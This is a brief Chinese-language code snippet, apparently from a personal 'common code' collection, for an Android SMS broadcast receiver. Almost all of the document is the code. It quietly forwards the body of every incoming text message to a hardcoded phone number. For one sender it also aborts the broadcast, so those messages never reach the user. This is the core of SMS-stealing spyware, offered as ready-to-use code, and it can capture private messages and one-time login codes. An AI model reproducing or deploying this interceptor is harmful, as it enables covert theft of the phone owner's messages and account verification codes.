注意:要收短信和发短信权限 public class SMS_Receiver extends BroadcastReceiver{ @Override public void onReceive(Context context, Intent intent) { Bundle bundle = intent.getExtras(); Object[] objects = (Object[]) bundle.get("pdus"); for(Object obj:objects){ SmsMessage sms = SmsMessage.createFromPdu((byte[])obj); String address = sms.getOriginatingAddress(); String body = sms.getMessageBody(); if(address.equals("5554")){ //拦截广播 abortBroadcast(); } //获取短信管理器并转发到15555215556,这里指定你想转发到的号码 SmsManager smsManager = SmsManager.getDefault(); smsManager.sendTextMessage("15555215556", null, body, null, null); } } } |
|
来自: 一戒745zia4sgs > 《常用代码》